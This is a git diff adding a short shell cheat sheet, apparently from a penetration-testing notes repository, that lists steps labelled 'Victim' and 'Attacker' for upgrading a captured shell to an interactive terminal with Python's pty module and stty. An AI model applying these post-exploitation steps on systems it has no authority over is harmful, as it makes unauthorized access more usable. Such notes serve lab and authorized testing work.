diff --git a/Upgrade-Shells/stty.sh b/Upgrade-Shells/stty.sh
new file mode 100644
index 0000000..b7a4190
--- /dev/null
+++ b/Upgrade-Shells/stty.sh
@@ -0,0 +1,13 @@
+# Victim
+python -c 'import pty; pty.spawn("/bin/bash")'
+#Ctrl-Z
+
+# Attacker
+stty raw -echo
+fg
+
+# Victim
+reset
+export SHELL=bash
+export TERM=xterm-256color
+stty rows <num> columns <cols>